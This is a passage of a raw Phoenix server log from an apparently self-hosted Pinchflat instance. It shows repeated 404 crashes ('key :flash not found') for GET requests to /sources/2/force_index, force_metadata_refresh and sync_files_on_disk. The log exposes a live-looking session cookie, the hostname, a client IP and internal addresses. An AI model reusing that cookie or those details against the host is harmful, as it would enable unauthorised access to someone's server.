"_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "158.69.117.45"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "158.69.117.45"} ], request_path: "/sources/2/force_index", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1guNstcAVxcJcAC6Mi"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.163696.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/force_index", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 33378}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.117.45", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.117.45" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/force_index (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.163696.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/force_index", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 33378}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.117.45", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.117.45" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q" }, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.163697.0>, params: %{}, path_info: ["sources", "2", "force_index"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469 (truncated) 18:56:14.210 [info] GET /sources/2/force_metadata_refresh 18:56:14.211 [debug] QUERY OK source="settings" db=0.1ms idle=104.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:14.211 [debug] QUERY OK source="settings" db=0.1ms idle=15.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:14.211 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 18:56:14.211 [error] #PID<0.163699.0> running PinchflatWeb.Endpoint (connection #PID<0.163698.0>, stream id 1) terminated Server: pf.hornstreamingservices.com:80 (http) Request: GET /sources/2/force_metadata_refresh ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/force_metadata_refresh (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.163698.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/force_metadata_refresh", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 33386}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.117.45", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.117.45" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q" }, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.163699.0>, params: %{}, path_info: ["sources", "2", "force_metadata_refresh"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "158.69.117.45"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "158.69.117.45"} ], request_path: "/sources/2/force_metadata_refresh", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1guNudc66NujwAC6NC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.163698.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/force_metadata_refresh", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 33386}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.117.45", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.117.45" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/force_metadata_refresh (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.163698.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/force_metadata_refresh", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 33386}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.117.45", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.117.45" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q" }, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.163699.0>, params: %{}, path_info: ["sources", "2", "force_metadata_refresh"], path_params: %{}, port: 80, priv (truncated) 18:56:14.296 [info] GET /sources/2/sync_files_on_disk 18:56:14.296 [debug] QUERY OK source="settings" db=0.1ms idle=99.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:14.296 [debug] QUERY OK source="settings" db=0.0ms idle=92.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:14.297 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 18:56:14.297 [error] #PID<0.163701.0> running PinchflatWeb.Endpoint (connection #PID<0.163700.0>, stream id 1) terminated Server: pf.hornstreamingservices.com:80 (http) Request: GET /sources/2/sync_files_on_disk ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/sync_files_on_disk (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.163700.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/sync_files_on_disk", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 33392}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.117.45", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.117.45" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q" }, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.163701.0>, params: %{}, path_info: ["sources", "2", "sync_files_on_disk"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "158.69.117.45"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "158.69.117.45"} ], request_path: "/sources/2/sync_files_on_disk", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1guOCzx-zc__4AC6Ni"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.163700.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/sync_files_on_disk", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 33392}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.117.45", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.117.45" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/sync_files_on_disk (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.163700.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/sync_files_on_disk", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 33392}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.117.45", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.117.45" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q" }, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.163701.0>, params: %{}, path_info: ["sources", "2", "sync_files_on_disk"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Rou (truncated) 18:56:14.318 [info] GET /sources/2/force_metadata_refresh 18:56:14.319 [debug] QUERY OK source="settings" db=0.1ms idle=114.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:14.319 [debug] QUERY OK source="settings" db=0.1ms idle=108.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:14.319 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 18:56:14.319 [error] #PID<0.163703.0> running PinchflatWeb.Endpoint (connection #PID<0.163702.0>, stream id 1) terminated Server: pf.hornstreamingservices.com:80 (http) Request: GET /sources/2/force_metadata_refresh ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/force_metadata_refresh (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.163702.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/force_metadata_refresh", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 33398}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.117.45", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.117.45" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q" }, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.163703.0>, params: %{}, path_info: ["sources", "2", "force_metadata_refresh"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "158.69.117.45"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "158.69.117.45"} ], request_path: "/sources/2/force_metadata_refresh", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1guOILiwupBBEAC6OC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.163702.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/force_metadata_refresh", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 33398}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.117.45", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.117.45" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/force_metadata_refresh (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.163702.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/force_metadata_refresh", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 33398}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.117.45", "x-forwarded-proto" => "https", 